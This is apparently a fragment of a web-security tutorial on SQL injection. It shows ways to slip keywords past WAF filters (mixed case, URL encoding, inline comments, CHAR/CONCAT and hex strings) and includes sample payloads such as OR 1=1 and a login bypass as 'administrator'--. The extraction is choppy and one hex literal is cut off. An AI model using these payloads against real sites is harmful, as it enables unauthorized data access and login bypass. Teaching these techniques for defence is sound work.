OR
, SELECT
, UNION
or WHERE
to prevent them from being used in SQL injection attacks.Or
, SeLeCt
, UNioN
and wHEre
.%55
is βUβ and %53
is βSβ. The WAF may not identify these encoded characters, and may send them to the server which decodes and processes them as the intended keywords.β/*β
and β*/β
, may cause the WAF filter to miss the keywords. MySQL will read the content between the two comment lines and execute it as SQL, whereas the DBMS may not flag it up.+union+distinct+select++union+distinctROW+select+
+#uNiOn+#sEleCt
REVERSE('noinu')+REVERSE('tceles')
un?+un/**/ion+se/**/lect+
CHAR()
and CONCAT()
.CONCAT
is available.CONCAT(str1, str2, str3)
SELECT CONCAT(login, email) FROM users
CHAR
function, which returns a character related to the integer passed to it. For example, CHAR(75)
returns K.
CHAR
and CONCAT
are often used together to create full sets of strings which bypass specific string filtering. This means you don't need quotation marks in the query.SELECT CONCAT(CHAR(77),CHAR(76),CHAR(75))
HEX()
function.SELECT 0x70617373776f726
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
β’ Query with bypassed password field
β SELECT * FROM users WHERE username = 'administrator'--' AND password = ''